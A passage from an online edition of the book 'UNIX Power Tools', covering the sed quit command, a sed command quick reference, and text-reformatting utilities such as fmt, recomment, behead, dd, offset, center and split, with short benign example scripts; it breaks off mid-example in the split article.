For instance, the following one-liner uses the quit command to print the first ten lines from a file:

% sed '10q' myfile
   ...

sed prints each line until it gets to line 10 and quits.

The previous version is much more efficient than its functional equivalent:

-n
% sed -n '1,10p' myfile

(especially if myfile is a long file) because sed doesn't need to keep reading its input once the patterns in the script are satisfied.

One possible use of q is to quit a script after you've extracted what you want from a file. There is some inefficiency in continuing to scan through a large file after sed has found what it is looking for. The getmac (43.20) script uses this technique.

- TOR

Previous: 34.20 The sed Test Command | UNIX Power Tools | Next: 34.22 Dangers of the sed Quit Command
34.20 The sed Test Command | Book Index | 34.22 Dangers of the sed Quit Command
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] 34.22 Dangers of the sed Quit Command

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.21 Uses of the sed Quit Command Chapter 34
The sed Stream Editor 		Next: 34.23 sed Newlines, Quoting, and Backslashes in a Shell Script

34.22 Dangers of the sed Quit Command

The sed quit command, q (34.21), is very useful for getting sed to stop processing any more input once you've done what you want.

However, you need to be very careful not to use q in any sed script that writes its edits back to the original file. After q is executed, no further output is produced. It should not be used in any case where you want to edit the front of the file and pass the remainder through unchanged. Using q in this case is a dangerous beginner's mistake.

- TOR

Previous: 34.21 Uses of the sed Quit Command | UNIX Power Tools | Next: 34.23 sed Newlines, Quoting, and Backslashes in a Shell Script
34.21 Uses of the sed Quit Command | Book Index | 34.23 sed Newlines, Quoting, and Backslashes in a Shell Script
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] 34.23 sed Newlines, Quoting, and Backslashes in a Shell Script

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.22 Dangers of the sed Quit Command Chapter 34
The sed Stream Editor 		Next: 34.24 Quick Reference: sed

34.23 sed Newlines, Quoting, and Backslashes in a Shell Script

Feeding sed (34.24) newlines is easy; the real trick is getting them past the C shell.

The sed documentation says that in order to insert newlines in substitute commands, you should quote them with backslashes. [Surround the commands with single quotes ('), as Chris has. If you use double quotes ("), this script will become s/foo/bar/ because of the way quoting works with backslashes and newlines (8.14). -JP]:

sed -e 's/foo/b\
a\
r/'

Indeed, this works quite well in the Bourne shell, which does what I consider the proper thing (8.14) with this input. The C shell, however, thinks it is smarter than you are (47.2), and removes the trailing backslashes (8.15), and instead you must type:

sed -e 's/foo/b\\
a\\
r/'

Probably the best solution is to place your sed commands in a separate file (34.2), to keep the shell's sticky fingers off them.

- CT in net.unix on Usenet, 20 November 1985

Previous: 34.22 Dangers of the sed Quit Command | UNIX Power Tools | Next: 34.24 Quick Reference: sed
34.22 Dangers of the sed Quit Command | Book Index | 34.24 Quick Reference: sed
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 34] 34.24 Quick Reference: sed

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.23 sed Newlines, Quoting, and Backslashes in a Shell Script Chapter 34
The sed Stream Editor 		Next: 35. You Can't Quite Call This Editing

34.24 Quick Reference: sed

How sed operates:

  • Each line of input is copied into a pattern space.

  • Editing commands may be given on the command line (if more than one, use a -e option before each command) and/or in script files named after -f options. All editing commands are applied in order to each line of input.

  • Editing commands are applied to all lines (globally) unless line addressing restricts the lines affected.

  • If a command changes the input, subsequent command-addresses will be applied to the current line in the pattern space, not the original input line.

  • The original input file is unchanged; editing commands modify a copy of the original input line. The copy is sent to standard output (13.1) unless the -n option was used; standard output can be redirected to a file (13.1, 34.3).

34.24.1 Syntax of sed Commands

sed commands have the general form:

[address][,address][!]command [arguments]

sed commands consist of addresses and editing commands. commands consist of a single letter or symbol; they are described later, alphabetically and by group. arguments include the label supplied to b or t, the filename supplied to r or w, and the substitution flags for s. addresses are described below. Elements in [brackets] are optional; don't type the brackets.

Braces ({}) are used in sed to nest one address inside another or to apply multiple commands at the same address:

[address][,address]{
   command1
   command2
}

The left curly brace ({) is a command that starts a group of other sed commands. The group ends with a right curly brace (}). Commands within the braces may be spread across multiple lines, as shown above. Or commands may be on the same line, with a semicolon (;) after each command (including the last command on a line) - as in:

[address][,address]{command1; ...commandN; }

34.24.2 Pattern Addressing

A sed command can specify zero, one, or two addresses. An address can be a line number, the symbol $ (for last line), or a regular expression enclosed in slashes (/pattern/). Regular expressions are described in Chapter 26, Regular Expressions (Pattern Matching). Additionally, \n can be used to match any newline in the pattern space (resulting from the N command), but not the newline at the end of the pattern space. See article 34.4.

If the command specifies: | Then it is applied to:
No address | Each input line.
One address | Any line matching the address. Some commands accept only one address: a, i, r, q, and =.
Two comma-separated addresses | First matching line and all succeeding lines up to and including a line matching the second address. Repeat for each matching range in the text.
An address followed by ! | All lines that do not match the address.

34.24.2.1 Examples

Substitute on all lines (all occurrences):

s/xx/yy/g

Delete lines containing BSD:

/BSD/d

Print the lines between each pair of BEGIN and END, inclusive:

/^BEGIN/,/^END/p

Delete any line that doesn't contain SAVE:

/SAVE/!d

Substitute on all lines, except between BEGIN and END:

/BEGIN/,/END/!s/xx/yy/g

34.24.3 Alphabetical Summary of sed Commands

#

Begin a comment in a sed script. If the first such line is exactly #n, sed sets its -n command-line option.

:

:label

Label a line in the script for the transfer of control by b or t. label may contain up to seven characters.

=

[address]=

Write to standard output the line number of each line addressed.

a

[address]a\
text

Append text following each line matched by address. If there is more than one line of text, all newlines except the last must be "hidden" by preceding them with a backslash. text will be terminated by the first newline that is not hidden in this way. text is not available in the pattern space, and subsequent commands cannot be applied to it. The results of this command are sent to standard output when the list of editing commands is finished, regardless of what happens to the current line in the pattern space. (There's an example in article 43.22, among others.)

Example

$a\
This goes after the last line in the file\
(marked by $). This text is escaped at the\
end of each line, except for the last one.

b

[address1][,address2]b[label]

Transfer control unconditionally to :label elsewhere in script. That is, the command following the label is the next command applied to the current line. If no label is specified, control falls through to the end of the script, so no more commands are applied to the current line. See articles 34.19 and 34.17.

Example

# Ignore tbl tables; resume script after TE:
/^\.TS/,/^\.TE/b

c

[address1][,address2]c\
text

Replace the lines selected by the address with text. When a range of lines is specified, all lines as a group are replaced by a single copy of text. The newline following each line of text must be escaped by a backslash, except the last line. The contents of the pattern space are, in effect, deleted and no subsequent editing commands can be applied to it (or text).

Example

# Replace first 100 lines in a file:
1,100c\
...first replacement line\
...second replacement line\
...\
...last replacement line

d

[address1][,address2]d

Delete the addressed line (or lines) from the pattern space. Thus, the line is not passed to standard output. A new line of input is read, and editing resumes with the first command in the script. See articles 34.4 and 34.18.

Example

# delete all blank lines:
/^$/d

D

[address1][,address2]D

Delete first part (up to embedded newline) of multiline pattern space created by N command and resume editing with first command in script. If this command empties the pattern space, then a new line of input is read, as if d had been executed. See article 34.18.

Example

# Strip multiple blank lines, leaving only one:
/^$/{
    N
    /^\n$/D
}

g

[address1][,address2]g

Paste the contents of the hold space (see h or H) back into the pattern space, wiping out the previous contents of the pattern space. See articles 34.13 and 34.16. The example shows a simple way to copy lines.

Example

This script collects all lines containing the word Item: and copies them to a place marker later in the file. The place marker is overwritten.

/Item:/H
/<Replace this line with the item list>/g

G

[address1][,address2]G

Same as g, except that the hold space is pasted below the address instead of overwriting it. The example shows a simple way to "cut and paste" lines. See articles 34.13 and 34.16.

Example

This script collects all lines containing the word Item: and moves them after a place marker later in the file. The original Item: lines are deleted.

/Item:/{
    H
    d
}
/Summary of items:/G

h

[address1][,address2]h Copy the pattern space into the hold space, a special temporary buffer. The previous contents of the hold space are obliterated. You can use h to save a line before editing it. See articles 34.13 and 34.16.

Example

# Edit a line; print the change; replay the original
/UNIX/{
    h
    s/.* UNIX \(.*\) .*/\1:/
    p
    x
}

Sample input:

This describes the UNIX ls command.
This describes the UNIX cp command.

Sample output:

ls:
This describes the UNIX ls command.
cp:
This describes the UNIX cp command.

H

[address1][,address2]H

Append the contents of the pattern space (preceded by a newline) to the contents of the hold space. Even if the hold space is empty, H still appends a newline. H is like an incremental copy. See examples under g and G, also articles 34.13 and 34.16.

i

[address]i\
text

Insert text before each line matched by address. (See a for details on text.) Article 43.20 shows a script that uses i.

Example

/Item 1/i\
The five items are listed below:

l

[address1][,address2]l

List the contents of the pattern space, showing non-printing characters as ASCII codes (51.3, 25.7). Long lines are wrapped.

n

[address1][,address2]n

Read next line of input into pattern space. The current line is sent to standard output, and the next line becomes the current line. Control passes to the command following n instead of resuming at the top of the script.

Example

In the ms macros (43.14), a section header occurs on the line below an .NH macro. To print all lines of header text, invoke this script with sed -n:

/^\.NH/{
    n
    p
}

N

[address1][,address2]N

Append next input line to contents of pattern space; the two lines are separated by an embedded newline. (This command is designed to allow pattern matches across two lines.) Using \n to match the embedded newline, you can match patterns across multiple lines. See example under D, also article 34.15.

Examples

Like previous example, but print .NH line as well as header title:

/^\.NH/{
    N
    p
}

Join two lines (replace newline with space):

/^\.NH/{
    N
    s/\n/ /
    p
}

p

[address1][,address2]p

Print the addressed line(s). Unless the -n command-line option is used, this command will cause duplicate lines to be output. Also, it is typically used before commands that change flow control (d, N, b) and that might prevent the current line from being output. See examples under h, n, and N.

P

[address1][,address2]P

Print first part (up to embedded newline) of multiline pattern created by N command. Same as p if N has not been applied to a line.

Example

The following script prints each line containing word and also the line before it:

N
/word/P
D

q

[address]q

Quit when address is encountered. The addressed line is first written to output (if default output is not suppressed), along with any text appended to it by previous a or r commands. See articles 34.21 and 34.22.

Example

Delete everything after the addressed line:

/Garbled text follows:/q

Print only the first 50 lines of a file:

50q

r

[address]r file

Read contents of file and append after the contents of the pattern space. Exactly one space must be put between the r and file.

Example

/The list of items follows:/r item_file

s

[address1][,address2]s/pattern/replacement/[flags]

Substitute replacement for pattern on each addressed line. If pattern addresses are used, the pattern // represents the last pattern address specified. The following flags can be specified:

n

Replace nth instance of /pattern/ on each addressed line. n is any number in the range 1 to 512 (default is 1). See article 34.11.

g

Replace all instances of /pattern/ on each addressed line, not just the first instance.

p

Print the line if a successful substitution is done. If several successful substitutions are done, multiple copies of the line will be printed. Often used in scripts with the -n command-line option (34.2).

w file

Write the line to a file if a replacement was done. A maximum of ten different files can be opened in a script. See articles 34.7 through 34.10.

Examples

Here are some short, commented scripts:

# Change third and fourth quote to ( and ):
/function/{
    s/"/)/4
    s/"/(/3
}

# Remove all quotes on a given line:
/Title/s/"//g

# Remove first colon or all quotes; print resulting lines:
s/://p
s/"//gp

# Change first "if" but leave "ifdef" alone:
/ifdef/!s/if/   if/

t

[address1][,address2]t [label]

Test if any substitutions have been made on addressed lines, and if so, branch to line marked by :label. (See b and :.) If label is not specified, control falls through to bottom of script. See article 34.20.

The t command can be used like a case statement (44.5) in the Bourne shell. You test each case: when it's true, you exit the construct.

Example

Suppose you want to fill empty fields of a database. You have this:

ID: 1   Name: greg   Rate: 45
ID: 2   Name: dale
ID: 3

You want this:

ID: 1   Name: greg   Rate: 45   Phone: ??
ID: 2   Name: dale   Rate: ??   Phone: ??
ID: 3   Name: ????   Rate: ??   Phone: ??

You need to test the number of fields already there. Here's the script (fields are tab-separated):

/ID/{
    s/ID: .* Name: .* Rate: .*/&   Phone: ??/p
    t
    s/ID: .* Name: .*/&   Rate: ??   Phone: ??/p
    t
    s/ID: .*/&   Name: ??     Rate: ??   Phone: ??/p
}

w

[address1][,address2]w file

Append, contents of pattern space to file. This action occurs when the command is encountered rather than when the pattern space is output. Exactly one space must separate the w and file. A maximum of ten different files can be opened in a script. This command will create the file if it does not exist; if the file exists, its contents will be overwritten each time the script is executed. Multiple write commands that direct output to the same file append to the end of the file.

Example

# Store tbl and eqn blocks in a file:
/^\.TS/,/^\.TE/w troff_stuff
/^\.EQ/,/^\.EN/w troff_stuff

x

[address1][,address2]x

Exchange contents of the pattern space with the contents of the hold space. For examples, see h and articles 34.13 and 34.16.

y

[address1][,address2]y/abc/xyz/

Translate characters. Change every instance of a to x, b to y, c to z, etc. See articles 34.12 and 34.14.

Example

# Change item 1, 2, 3 to Item A, B, C ...
/^item [1-9]/y/i123456789/IABCDEFGHI/

- DG from O'Reilly & Associates' UNIX in a Nutshell (SVR4/Solaris)

Previous: 34.23 sed Newlines, Quoting, and Backslashes in a Shell Script | UNIX Power Tools | Next: 35. You Can't Quite Call This Editing
34.23 sed Newlines, Quoting, and Backslashes in a Shell Script | Book Index | 35. You Can't Quite Call This Editing
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 35] You Can't Quite Call This Editing

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 34.24 Quick Reference: sed Chapter 35 Next: 35.2 Neatening Text with fmt

35. You Can't Quite Call This Editing

Contents:
And Why Not?
Neatening Text with fmt
Alternatives to fmt
recomment: Clean Up Program Comment Blocks
Remove Mail/News Headers with behead
Low-Level File Butchery with dd
offset: Indent Text
Centering Lines in a File
Splitting Files at Fixed Points: split
Splitting Files by Context: csplit
Hacking on Characters with tr
Converting Between ASCII and EBCDIC
Other Conversions with dd
Cutting Columns or Fields with cut
Cutting Columns with colrm
Make Columns Automatically with cols
Making Text in Columns with pr
Pasting Things in Columns
Joining Lines with join
Quick Reference: uniq
Using IFS to Split Strings
Straightening Jagged Columns
Rotating Text

35.1 And Why Not?

There are many specialized forms of editing that happen frequently enough that they sometimes want to be saved into a script. Examples of this kind of thing include:

  • fmt (35.2) and related scripts (35.3) for reformatting jagged lines into neat paragraphs.

  • recomment (35.4), a script for reformatting comment blocks within programs and scripts.

  • behead (35.5), a script for removing the headers from mail and news messages.

  • center (35.8), a script for centering lines of text in a file.

In addition, there are a number of programs that provide some useful ways of modifying files but that you don't normally think of as editors:

  • split (35.9) and csplit (35.10) let you split a big file into smaller pieces.

  • tr (35.11) lets you substitute one character for another - including non-printing characters that you specify by their octal values.

  • dd (35.6, 35.12, 35.13) lets you perform various data conversions on a file.

  • cut (35.14) and colrm (35.15) let you cut columns or fields out of a file, and paste (35.18) lets you put them back, perhaps in a different order.

This chapter covers all that and more.

- TOR

Previous: 34.24 Quick Reference: sed | UNIX Power Tools | Next: 35.2 Neatening Text with fmt
34.24 Quick Reference: sed | Book Index | 35.2 Neatening Text with fmt
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 35] 35.2 Neatening Text with fmt

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 35.1 And Why Not? Chapter 35
You Can't Quite Call This Editing 		Next: 35.3 Alternatives to fmt

35.2 Neatening Text with fmt

One of the problems with fold (43.8) is that it breaks text at an arbitrary column position - even if that position happens to be in the middle of a word. It's a pretty primitive utility, designed to keep long lines from printing off the edge of a line printer page, and not much more.

fmt can do a better job because it thinks in terms of language constructs like paragraphs. fmt wraps lines continuously, rather than just folding the long ones. It assumes that paragraphs end at blank lines.

You can use fmt for things like neatening lines of a mail message or a file that you're editing with vi (30.37). (Emacs has its own built-in line-neatener.) It's also great for shell programming and almost any place you have lines that are too long or too short for your screen.

NOTE: On at least one version of UNIX, fmt is a disk initializer (disk formatter) command. Don't run that command accidentally! Check your online manual page and see the fmt equivalents below.

There are a few different versions of fmt, some fancier than others. In general, the program assumes that:

  • Paragraphs have blank lines between them.

  • If a line is indented, keep the indentation.

  • The output lines should be about 70 characters wide. Some have a command line option to let you set this. For example, fmt -132 (or, on some versions, fmt -l 132) would reformat your file to have lines with no more than 132 characters on each.

  • It reads files or standard input. Lines will be written to standard output.

fmt
 The GNU fmt is on the CD-ROM. There are also a couple of freely available versions. Many versions of fmt have options for other structured data. The -p option (35.4) reformats program source code. (If your fmt doesn't have -p, the recomment (35.4) script uses standard fmt with sed to do the same thing.) The -s option breaks long lines at whitespace but doesn't join short lines to form longer ones.

Alternatively, you can make your own (35.3) simple (and a little slower) version with sed and nroff. If you want to get fancy (and use some nroff and/or tbl coding), this will let you do automatically formatted text tables, bulleted lists, and much more.

- JP, TOR

Previous: 35.1 And Why Not? | UNIX Power Tools | Next: 35.3 Alternatives to fmt
35.1 And Why Not? | Book Index | 35.3 Alternatives to fmt
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 35] 35.3 Alternatives to fmt

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 35.2 Neatening Text with fmt Chapter 35
You Can't Quite Call This Editing 		Next: 35.4 recomment: Clean Up Program Comment Blocks

35.3 Alternatives to fmt

fmt (35.2) is hard to do without once you've learned about it. Unfortunately, it's not available in some versions of UNIX. You can get the GNU version from the CD-ROM. But it's also relatively easy to emulate with sed (34.24) and nroff (43.13). Using those two utilities also lets you take advantage of the more-sophisticated formatting and flexibility that sed and nroff macros (43.15) can give you. (If you're doing anything really fancy, like tables with tbl (43.15) , [1] you might need col or colcrt (43.18) to clean up nroff's output.)

[1] [The combination of tbl, nroff, and col can make ASCII tables in a few quick steps. The tables aren't sexy, but they can be sophisticated. They can be emailed or printed anywhere and don't require sophisticated viewing equipment. I'm sad that so few people know tbl these days. It's a powerful way to describe tables without worrying about balancing columns or wrapping text in them. And, if you want nicer-looking output, you can feed the same tbl file to groff (43.16). - JP ]

Here's the script:

#!/bin/sh
sed '1i\
.ll 72\
.na\
.hy 0\
.pl 1' $* | nroff

The reason this is so complicated is that, by default, nroff makes some assumptions you need to change. For example, it assumes an 11-inch page (66 lines), and will add blank lines to a short file (or the end of a long file). The quick-and-dirty workaround to this is to manually put the nroff request .pl 1 (page length 1 line) at the top of the text you want to reformat. nroff also tends to justify lines; you want to turn this off with the .na request. You also want to turn off hyphenation (.hy 0), and you may want to set the line length to 72 instead of nroff's default 65, if only for consistency with the real fmt program. All these nroff requests get inserted before the first line of input by the sed 1i command.

A fancier script would take a -nn line-length option and turn it into a .ll request for nroff, etc.

- TOR

Previous: 35.2 Neatening Text with fmt | UNIX Power Tools | Next: 35.4 recomment: Clean Up Program Comment Blocks
35.2 Neatening Text with fmt | Book Index | 35.4 recomment: Clean Up Program Comment Blocks
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 35] 35.4 recomment: Clean Up Program Comment Blocks

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 35.3 Alternatives to fmt Chapter 35
You Can't Quite Call This Editing 		Next: 35.5 Remove Mail/News Headers with behead

35.4 recomment: Clean Up Program Comment Blocks

Lines in a program's comment block usually start with one or more special characters, like:

# line 1 of the comment
# line 2 of the comment
# line 3 of the comment
    ...

It can be a hassle to add more text to one of the comment lines in a block because the line can get too long, which requires you to fold that line onto the next line, which means you have to work around the leading comment character(s).

The fmt (35.2) program neatens lines of a text file. But the standard fmt won't help you "neaten" blocks of comments in a program: it mixes the comment characters from the starts of lines with the words. (If your fmt has the -p option, it handles this problem; there's an example below.) The recomment script is fmt for comment blocks. It's for people who write shell, awk, C, or almost any other kind of program with comment blocks several lines long.

recomment
 recomment reads the lines that you feed its standard input. It looks at the first line and figures out what characters you're using to comment the line (see the $cchars variable for a list - typically SPACEs, TABs, #, or *). Then, recomment strips those comment characters off each line, feeds the remaining block of text to the fmt utility, and uses sed (34.24) to add the comment characters again.

I usually use recomment from inside vi, with filter-through (30.22) commands like:

!}recomment reformat to the next blank line
5!!recomment reformat this line and the next 4

Normally, recomment lets fmt choose the width of the comment block (72 characters, typically). To get another width, you can either:

  • Give the width on the command line, like this:

    recomment -50

  • Set an environment variable named CBLKWID. Give the maximum width, in characters, for the comment text. For example, in the C shell, use:

    % setenv CBLKWID 50

recomment isn't perfect, but it's usually much better than nothing! Here's the part of the script that does the work. The first two commands get the comment character(s) and count their length. The next three commands strip the comment characters, clean up the remaining comment text, and add the same comment characters to the start of all reformatted lines:

expr

# GET COMMENT CHARACTERS USED ON FIRST LINE; STORE IN $comment:
comment="`sed -n \"1s/^\([$cchars]*\).*/\1/p\" $temp`"
# GET NUMBER OF CHARACTERS IN COMMENT CHARACTER STRING:
cwidth=`expr "$comment" : '.*'`

# RE-FORMAT THE COMMENT BLOCK.  IF $widopt SET, USE IT:
colrm 1 $cwidth < $temp |       # STRIP OFF COMMENT LEADER FROM LINES
fmt $widopt |                   # RE-FORMAT THE TEXT, AND
sed "s/^/$comment/"             # PUT THE COMMENT CHARACTERS BACK

If your system doesn't have the colrm (35.15) utility, change the third-to-last line to use cut (35.14) instead:

cut -c`expr $cwidth + 1`- < $temp |  # STRIP OFF COMMENT LEADER

That makes a command like cut -c4- instead of colrm 1 3.

Some versions of fmt (like the one on the CD-ROM) have a -p option that does the same thing. Unlike the automatic system in recomment, you have to tell fmt -p what the prefix characters are. For example, here's the start of a C program. The prefix character is *:

% cat prog.c
/*
 * This file, load.cc, reads an input
 * data file.
 * Each input line is added to a new node
 * of type struct Node.
 */
% fmt -p '*' prog.c
/*
 * This file, load.cc, reads an input data file.  Each input line is
 * added to a new node of type struct Node.
 */

- JP

Previous: 35.3 Alternatives to fmt | UNIX Power Tools | Next: 35.5 Remove Mail/News Headers with behead
35.3 Alternatives to fmt | Book Index | 35.5 Remove Mail/News Headers with behead
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 35] 35.5 Remove Mail/News Headers with behead

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 35.4 recomment: Clean Up Program Comment Blocks Chapter 35
You Can't Quite Call This Editing 		Next: 35.6 Low-Level File Butchery with dd

35.5 Remove Mail/News Headers with behead

When you're saving or re-sending a news article or mail message (1.33), you might want to the remove header lines (Subject:, Received:, and so on). This little script will handle standard input, one or many files. It writes to standard output. Here are a few examples:

  • With saved messages, at a shell prompt:

    % behead msg* | mail -s "Did you see these?" fredf

  • To save an article, from a pipe, without a header, from a program (here, the old readnews) that can't cut off headers itself:

    What now? [ynq] s- | behead > filename

Here's the script, adapted a little from the original by Arthur David Olson:

#! /bin/sh
case $# in
0)  exec sed '1,/^$/d' ;;
*)  for i
    do sed '1,/^$/d' "$i"
    done
    ;;
esac

The script relies on the fact that mail messages use a blank line to separate the header from the body of the message. As a result, the script simply deletes the text from the beginning up to the first blank line.

- JP

Previous: 35.4 recomment: Clean Up Program Comment Blocks | UNIX Power Tools | Next: 35.6 Low-Level File Butchery with dd
35.4 recomment: Clean Up Program Comment Blocks | Book Index | 35.6 Low-Level File Butchery with dd
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 35] 35.6 Low-Level File Butchery with dd

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 35.5 Remove Mail/News Headers with behead Chapter 35
You Can't Quite Call This Editing 		Next: 35.7 offset: Indent Text

35.6 Low-Level File Butchery with dd

Want to strip off some arbitrary number of characters from the front of a file?

dd provides an unexpectedly easy answer. Let's say you wanted to delete the first 100 characters in a file. Here's the command that will do the trick (assuming of course that you give dd a filename with the if= option or data from a pipe):

% dd bs=100 skip=1

Or you could try:

% dd bs=1 skip=100

dd normally reads and writes data in 512-byte blocks; the input block size can be changed with the ibs= option, and the output block size with obs=. Use bs= to set both. skip= sets the number of blocks to skip at the start of the file.

Why would you want to do this? Article 22.17 gives an interesting example when encrypting files. Article 20.6 explains using dd over a network with a tape drive. To convert files between ASCII and EBCDIC, see article 35.12. Article 35.13 shows even more uses for dd.

- TOR

Previous: 35.5 Remove Mail/News Headers with behead | UNIX Power Tools | Next: 35.7 offset: Indent Text
35.5 Remove Mail/News Headers with behead | Book Index | 35.7 offset: Indent Text
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 35] 35.7 offset: Indent Text

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 35.6 Low-Level File Butchery with dd Chapter 35
You Can't Quite Call This Editing 		Next: 35.8 Centering Lines in a File

35.7 offset: Indent Text

Do you have a printer that starts each line too close to the left margin? You might want to indent text to make it look better on the screen or a printed page. Here's a shell script that does that. It reads from files or standard input and writes to standard output. The default indentation is 5 spaces. For example, to send a copy of a file named graph to the lp printer, indented 12 spaces:

% offset -12 graph | lp

There are easier ways to do this (with awk (33.11), for instance). This script uses the Bourne shell case statement in an interesting way though, and that might give you ideas for other work.

#! /bin/sh

# GET INDENTATION (IF ANY) AND CHECK FOR BOGUS NUMBERS:
case "$1" in
-[0-9]|-[0-9][0-9]) indent="$1"; shift ;;
-*) echo "`basename $0`: '$1' isn't -number or is > 99." 1>&2; exit 1 ;;
esac

# SET DEFAULT:
case "$indent" in
"") indent=-5 ;;
esac

# BUILD THE SPACES FOR sed.
# FIRST case DOES MULTIPLES OF 10; SECOND case DOES SINGLE SPACES:
s="          "  # TEN SPACES
case "$indent" in
-?) ;;  # LESS THAN 10; SKIP IT
-1?) pad="$s" ;;
-2?) pad="$s$s" ;;
-3?) pad="$s$s$s" ;;
-4?) pad="$s$s$s$s" ;;
-5?) pad="$s$s$s$s$s" ;;
-6?) pad="$s$s$s$s$s$s" ;;
-7?) pad="$s$s$s$s$s$s$s" ;;
-8?) pad="$s$s$s$s$s$s$s$s" ;;
-9?) pad="$s$s$s$s$s$s$s$s$s" ;;
*)  echo "`basename $0`: Help! \$indent is '$indent'!?!" 1>&2; exit 1 ;;
esac

case "$indent" in
-0|-?0) ;;  # SKIP IT; IT'S A MULTIPLE OF 10
-1|-?1) pad="$pad " ;;
-2|-?2) pad="$pad  " ;;
-3|-?3) pad="$pad   " ;;
-4|-?4) pad="$pad    " ;;
-5|-?5) pad="$pad     " ;;
-6|-?6) pad="$pad      " ;;
-7|-?7) pad="$pad       " ;;
-8|-?8) pad="$pad        " ;;
-9|-?9) pad="$pad         " ;;
*)  echo "`basename $0`: Help! \$indent is '$indent'!?!" 1>&2; exit 1 ;;
esac

# MIGHT ADD expand FIRST TO TAKE CARE OF TABS:
sed "s/^/$pad/" $*

First, the script sets the indentation amount, like -12 or -5, in the indent variable. Next, it builds a shell variable, pad, with just enough spaces to indent the text. One case checks the first digit of $indent to find out how many ten-space chunks of spaces to put in pad. The next case finishes the job with a few more spaces. A sed (34.24) command adds the spaces to the start of each line. If your lines have TABs in them, change the last line to use expand or pr -e -t (41.4) and pipe the result to sed:

expand $* | sed "s/^/$pad/"

- JP

Previous: 35.6 Low-Level File Butchery with dd | UNIX Power Tools | Next: 35.8 Centering Lines in a File
35.6 Low-Level File Butchery with dd | Book Index | 35.8 Centering Lines in a File
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 35] 35.8 Centering Lines in a File

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 35.7 offset: Indent Text Chapter 35
You Can't Quite Call This Editing 		Next: 35.9 Splitting Files at Fixed Points: split

35.8 Centering Lines in a File

Here's an awk script, written by Greg Ubben, that centers lines across an 80-character line. If your system understands #! (44.4, 45.3), this script will be passed directly to awk without a shell. Otherwise, put this into a Bourne shell script (44.14):

#!/usr/bin/awk -f
{
    printf "%" int(40+length($0)/2) "s\n", $0
}

For each input line, the script builds a printf command with a width specification (like %widths) that's just wide enough to center the line.

In vi, you can use a filter-through (30.22) command to center lines while you're editing. Or just use center from the command line. For example:

% center afile > afile.centered
% sort party_list | center | lp

- JP

Previous: 35.7 offset: Indent Text | UNIX Power Tools | Next: 35.9 Splitting Files at Fixed Points: split
35.7 offset: Indent Text | Book Index | 35.9 Splitting Files at Fixed Points: split
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 35] 35.9 Splitting Files at Fixed Points: split

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 35.8 Centering Lines in a File Chapter 35
You Can't Quite Call This Editing 		Next: 35.10 Splitting Files by Context: csplit

35.9 Splitting Files at Fixed Points: split

Most versions of UNIX come with a program called split whose purpose is to split large files into smaller files for tasks such as editing them in an editor that cannot handle large files, or mailing them if they are so big that some mailers will refuse to deal with them. For example, let's say you have a really big text file that you want to mail to someone:

% ls -l bigfile
-r--r--r--  1 jik        139070 Oct 15 21:02 bigfile

Running split on that file will (by default, with most versions of split) break it up into pieces that are each no more than 1000 lines long:

wc

% ls -l
total 283
-r--r--r--  1 jik        139070 Oct 15 21:02 bigfile
-rw-rw-r--  1 jik         46444 Oct 15 21:04 xaa
-rw-rw-r--  1 jik         51619 Oct 15 21:04 xab
-rw-rw-r--  1 jik         41007 Oct 15 21:04 xac
% wc -l x*
    1000 xaa
    1000 xab
     932 xac
    2932 total

Note the default naming scheme, which is to append "aa," "ab," "ac," etc., to the letter "x" for each subsequent filename. It is possible to modify the default behavior. For example, you can make it create files that are 1500 lines long instead of 1000:

% rm x??
% split -1500 bigfile
% ls -l
total 288
-r--r--r--  1 jik        139070 Oct 15 21:02 bigfile
-rw-rw-r--  1 jik         74016 Oct 15 21:06 xaa
-rw-rw-r--  1 jik         65054 Oct 15 21:06 xab

You can also get it to use a name prefix other than "x":

% rm x??
% split -1500 bigfile bigfile.split.
% ls -l
total 288
